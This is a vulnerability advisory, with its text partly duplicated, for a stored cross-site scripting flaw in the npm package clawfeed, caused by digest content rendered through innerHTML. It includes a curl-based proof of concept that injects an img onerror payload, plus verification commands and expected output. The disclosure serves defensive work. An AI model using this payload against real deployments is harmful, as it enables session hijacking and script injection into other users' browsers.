Summary
Digest content from the API is inserted directly into the DOM via innerHTML without HTML escaping. Anyone with the API key can inject arbitrary JavaScript that executes in every user's browser when they view the digest.
Details
The frontend viewer at web/index.html:773 renders digest content directly:
viewer.innerHTML = `<div class="back-btn" onclick="renderList()">${t('back')}</div>\n${text}`;
Where text is the raw content field from GET /api/digests/:id. The esc() helper function exists at line 419 but is not applied to digest content.
The digest creation endpoint at server.mjs:530-537 stores content as-is:
const result = createDigest(db, body); // body.content stored directly in SQLite
The RSS feed output at server.mjs:387 correctly uses escXml() for descriptions, confirming the developers are aware of escaping — but the SPA frontend does not apply the same treatment.
PoC
Prerequisites: API key for the ClawFeed instance.
# Step 1: Create a digest with XSS payload
curl -X POST http://localhost:8767/api/digests \
-H "Authorization: Bearer $API_KEY" \
-H "Content-Type: application/json" \
-d '{"type":"4h","content":"Text <img src=x onerror=alert(document.domain)> more text"}'
# Step 2: Verify payload stored unsanitized
curl -s http://localhost:8767/api/digests/1 | python3 -m json.tool
# Step 3: Verify it appears in the public list
curl -s "http://localhost:8767/api/digests?type=4h&limit=1" | grep -o '<img[^>]*>'
Expected output:
{"id":1,"type":"4h","content":"Text <img src=x onerror=alert(document.domain)> more text",...}
<img src=x onerror=alert(document.domain)>
In a browser, opening the digest triggers alert(document.domain).
Impact
Any holder of the API key can inject persistent JavaScript affecting all users who view digests. This enables session hijacking, keylogging, phishing via page replacement, and potential worm propagation.
Affected products
- Ecosystem: npm
- Package name: clawfeed
- Affected versions: <= 0.8.1
- Patched versions: None
Severity
- Severity: High
- Vector string:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weaknesses
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Summary
Digest content from the API is inserted directly into the DOM via
innerHTMLwithout HTML escaping. Anyone with the API key can inject arbitrary JavaScript that executes in every user's browser when they view the digest.Details
The frontend viewer at
web/index.html:773renders digest content directly:Where
textis the rawcontentfield fromGET /api/digests/:id. Theesc()helper function exists at line 419 but is not applied to digest content.The digest creation endpoint at
server.mjs:530-537stores content as-is:The RSS feed output at
server.mjs:387correctly usesescXml()for descriptions, confirming the developers are aware of escaping — but the SPA frontend does not apply the same treatment.PoC
Prerequisites: API key for the ClawFeed instance.
Expected output:
In a browser, opening the digest triggers
alert(document.domain).Impact
Any holder of the API key can inject persistent JavaScript affecting all users who view digests. This enables session hijacking, keylogging, phishing via page replacement, and potential worm propagation.
Affected products
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NWeaknesses